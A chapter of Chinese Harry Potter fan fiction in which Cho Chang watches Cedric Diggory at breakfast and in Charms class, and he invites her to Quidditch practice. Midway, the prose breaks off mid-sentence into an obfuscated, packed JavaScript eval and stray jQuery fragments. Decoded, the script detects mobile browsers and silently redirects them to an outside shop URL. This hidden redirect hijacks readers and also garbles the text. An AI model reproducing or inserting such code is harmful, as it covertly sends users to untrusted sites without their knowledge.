第二天早餐,秋比平时早到了十分钟。

    礼堂上空还是阴天。

    天花板被魔法映成雨后的灰色,云层压得很低。长桌上已经摆好了烤面包、煎蛋、南瓜汁和一小碟橘子酱。低年级学生陆续走进来,袍角带着清晨的潮气。

    秋坐在拉文克劳长桌旁,面前的盘子很干净。

    她没有动。

    玛丽埃塔·艾克莫端着南瓜汁坐下时,看了她一眼。

    又顺着她的视线,看向赫奇帕奇长桌。

    那边还没坐满。几个低年级正凑在一起说昨天列车上的摄魂怪,有人夸张地模仿自己差点晕倒的样子,被旁边女生拿叉子敲了一下。

    塞德里克·迪戈里还没有来。

    玛丽埃塔慢慢拿起一片烤面包。

    “你今天起得很早。”

    秋收回视线。

    “醒得早。”

    “哦。”

    玛丽埃塔给面包抹黄油,语气很平。

    “醒得还挺有方向。”

    秋低头拿起刀叉。

    刀尖碰到盘沿,发出一点细响。

    玛丽埃塔像没听见,继续抹黄油。

    从昨晚开始,她就有点不一样了。明明一脸“我有很多问题”,却只在最边缘碰一下,不再往里探。

    这让秋有点想笑。

    也有点难过。

    很多年以后,她已经记不清玛丽埃塔年轻时每一句话。

    可她记得昨晚那块被推到手边的巧克力。

    秋切开煎蛋。

    蛋黄流出来一点。

    她没吃。

    礼堂门口传来一阵赫奇帕奇的笑声。

    秋的手指停住。

    塞德里克进来了。

    他走在几个同院学生中间,肩上还带着清晨的雨气。金棕色头发比昨天在列车上整齐些,袍子扣得端正,只是级长徽章下方的领带有一点歪。

    不是很明显。

    秋还是看见了。

    他身边那个深色头发的男生正在说什么,表情很严肃,像是在讨论一件极其重要的事。

    “我只是认为,”男生说,“如果摄魂怪以后还会上车,霍格沃茨应该给每个学院长桌都配一箱巧克力。”

    旁边赫奇帕奇女生笑起来。

    “欧文,你只是想多吃巧克力。”

    欧文·麦克米兰一本正经。

    “莉迪亚,这是安全问题。”

    莉迪亚·芬威克把一只橘子扔给他。

    “那你先从橘子开始安全。”

    欧文接住橘子,低头看了一眼。

    “我觉得它不够专业。”

    塞德里克没有接话,只把杯子往旁边挪了一点,像是怕那只橘子下一秒滚进南瓜汁里。

    秋看着他,胸口昨夜残留下来的那点寒意,终于退开了一些。

    他会被朋友调侃。

    会在早餐前听一些不太有意义的话。

    会坐到赫奇帕奇长桌边,像所有人一样开始新学年的第一天。

    这些太普通了。

    普通到让人心酸。

    玛丽埃塔咬了一口面包,声音压低了一点。

    “迪戈里来了。”

    秋喝了一口南瓜汁。

    “嗯。”

    “我只是说他来了。”

    “我也只是嗯。”

    玛丽埃塔看了她一会儿。

    这次没再往下说。

    她只是把橘子酱推过去。

    “你早餐还没碰。”

    秋看着那罐橘子酱。

    “谢谢。”

    玛丽埃塔没再看她,低头继续吃面包。

    可她的余光还在秋身上。

    秋知道。

    她也没有躲。

    赫奇帕奇长桌那边,塞德里克坐下后,刚好抬头。

    两个人隔着礼堂,对上视线。

    秋没有移开。

    塞德里克手里还拿着杯子,杯沿刚碰到唇边,却停了半拍。

    旁边欧文顺着他的目光看过去。

    然后慢慢放下橘子。

    他的视线从塞德里克脸上挪到拉文克劳长桌,又从拉文克劳长桌挪回塞德里克脸上。

    “迪戈里。”

    塞德里克收回目光。

    “嗯?”

    欧文压低声音,语气非常诚恳。

    “你最近是不是对拉文克劳的早餐质量很感兴趣?”

    塞德里克把杯子放下。

    “吃你的橘子。”

    “我正在吃。”

    “那就安静一点。”

    莉迪亚已经笑得趴到桌边。

    托马斯·贝尔比坐在另一侧,一直没说话。直到这时,他才抬头看了一眼塞德里克,又看了一眼秋。

    “他刚才没喝。”

    欧文立刻看向塞德里克的杯子。

    南瓜汁还是满的。

    “证据确凿。”

    塞德里克低头看了一眼自己的杯子。

    耳尖有一点红。

    非常淡,几乎被礼堂火光遮过去。

    但秋看见了。

    她低下头,唇角压了压。

    玛丽埃塔也看见了。

    她慢慢靠回椅背。

    “梅林。”

    秋转头。

    “怎么了?”

    “没什么。”

    玛丽埃塔把烤面包放回盘子里。

    “我只是突然觉得,今天早餐挺有意思。”

    秋没接话。

    她拿起叉子,终于吃了一小口煎蛋。

    玛丽埃塔看着她,神色安静下来。

    “你昨天吓到我了。”

    秋垂下眼。

    “抱歉。”

    “我说过,不是要你道歉。”

    玛丽埃塔停了一下,像是在斟酌。

    “你现在好一点了吗?”

    秋抬眼看她。

    这句话比“你到底怎么了”好得多。

    也更让人难受。

    秋点头。

    “好多了。”

    玛丽埃塔盯着她看了几秒。

    “那就先吃饭。”

    “嗯。”

    上午第一节是魔咒课。

    拉文克劳和赫奇帕奇一起上。

    秋走进教室时,脚步停了一下。

    玛丽埃塔差点撞上她。

    “怎么了?”

    秋摇头。

    “没什么。”

    教室里已经有学生到了。窗外雨停了,玻璃上还挂着水珠,阳光没出来,光线泛着灰。弗立维教授站在一摞书旁边,正整理今天要用的羽毛笔和沾了墨迹的杯子。

    秋和玛丽埃塔坐在靠窗的位置。

    不久后,赫奇帕奇的人进来。

    欧文走在前面,莉迪亚跟在后面,托马斯抱着课本,表情冷淡得像刚才早餐时拆台塞德里克的人不是他。

    塞德里克最后进来。

    他的视线扫过教室。

    停在秋身上。

    只是一下。

    这一次他没有立刻移开。

    欧文在旁边咳了一声。

    塞德里克看他。

    欧文用课本挡住半张脸。

    “你可以坐。”

    塞德里克没有理他。

    最后,他坐到了秋斜后方。

    不近。

    也不远。

    玛丽埃塔低头翻书。

    过了一会儿,她偏头看了秋一眼。

    秋假装没看见。

    弗立维教授今天教的是清理咒。

    “Scourgify。”教授站在书堆上,声音尖细又愉快,“动作不要太大,千万不要把邻座的袍子清理出一个洞来。”

    教室里笑了一片。

    秋看着课本。

    这个咒语很简单。

    简单到她不用想。

    可她握住魔杖时,脑子里闪过的不是墨渍,也不是课堂。

    是很多年后圣芒戈病房里的血迹。

    是咒伤边缘漆黑的痕迹。

    是她低头处理伤口时,病人压着声音抽气。

    她闭了闭眼。

    现在不是圣芒戈。

    只是魔咒课。

    她对准桌上一小片墨迹。

    “Scourgify。”

    墨迹很快消失。

    玛丽埃塔看了一眼。

    “你暑假偷偷练了?”

    秋把魔杖放下。

    “可能今天运气好。”

    后排忽然传来一声轻响。

    一个赫奇帕奇男生的清理咒把灰尘吹到了自己脸上。他咳得眼睛都红了。

    欧文拍着他的背,笑得很真诚。

    “托马斯,至少灰尘确实离开桌子了。”

    托马斯·贝尔比面无表情地看他。

    “下一次我对准你试试。”

    莉迪亚在旁边笑得直不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606279|205734||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    起腰。

    秋没忍住,抿了一下唇。

    塞德里克正好看见。

    他原本在低头整理书页,动作慢了半拍。

    秋抬眼时,他已经低头看书。

    只是那页书翻得太靠后。

    欧文看着他手里的课本。

    “那是下个月的内容。”

    塞德里克把书翻回来。

    “我知道。”

    欧文张了张嘴,又看了一眼秋那边,最后很体贴地闭上了。

    秋没有听清他们在说什么。

    但她看见塞德里克低下头时,眼里有一点无奈。

    她也看见他把书页重新翻回这一课时,指尖在页角多停了一下。

    像是在掩饰什么。

    秋低头看着自己的魔杖。

    方才那一点笑意还留在耳边。

    课本翻错的一页,欧文压低的调侃,塞德里克很快收回去的视线。

    都太真实了。

    真实得让她几乎不敢多看。

    她指尖慢慢收紧。

    还不够。

    下课后,学生们慢慢往外走。

    玛丽埃塔被同院女生叫去问笔记,走之前看了秋一眼。

    那一眼有点明显。

    秋装作没看见。

    她收拾书包的动作慢了一点。

    教室里人很快少下来。

    窗外的雨停了,但屋檐还在滴水。

    秋刚把羊皮纸塞进书里,桌边落下一道影子。

    她抬头。

    塞德里克站在那里。

    “昨天后来还好吗?”

    秋看着他。

    窗外的灰光落进来,把他校袍边缘照得颜色很浅。离得近了,秋才看清他的眼睛,是一种很干净的灰蓝,像雨停以后还没放晴的天。

    她点头。

    “好了。”

    停了一下,又补一句。

    “巧克力有用。”

    塞德里克弯了弯唇。

    “那就好。”

    同样的话。

    昨天在列车走廊里,他也这么说过。

    秋把书抱在怀里。

    “你给我的那块,我还没吃。”

    塞德里克有些意外。

    “为什么?”

    秋垂眼,手指碰了碰书脊。

    “忘了。”

    这当然不是实话。

    塞德里克没有拆穿。

    他只是低头看了她一会儿。

    “那等你需要的时候再吃。”

    秋抬头。

    “如果不需要呢?”

    “那就留着。”

    他说得很自然。

    像那只是一块巧克力。

    秋看着他。

    过了一会儿,她点头。

    “好。”

    走廊里传来欧文的声音。

    “塞德,魁地奇训练别迟到。”

    塞德里克回头。

    “知道了。”

    欧文在走廊尽头朝他挥了挥手。

    “训练快开始了。”

    塞德里克转回头。

    “我该走了。”

    秋点头。

    “嗯。”

    他走了两步,又回头。

    “下午如果雨停,会有魁地奇训练。”

    秋安静了一瞬。

    “嗯?”

    这句话像是说得随意。

    可他说完之后,自己也停了一下。

    像是没想到会问出来。

    塞德里克垂眼,整理了一下手里的课本。

    “我是说,如果你有空。”

    秋看着他。

    没有让那句话落空。

    “我有空。”

    塞德里克抬眼。

    秋抱着书,黑发垂在肩侧,声音不高,却没有躲。

    “我会去。”

    塞德里克看了她一会儿。

    “好。”

    他说。

    走廊外,有学生经过,笑声从远处传来。

    秋站在原地,看着塞德里克转身离开。

    他的袍角从门边掠过去。

    欧文在前面等他,压着声音不知道说了什么。塞德里克没有回头,只抬手推了他一下。

    秋看着他们走远。

    掌心里,那支羽毛笔留下的墨迹还没有完全干。

    雨已经停了。

    远处球场方向,隐约传来扫帚升空的声音。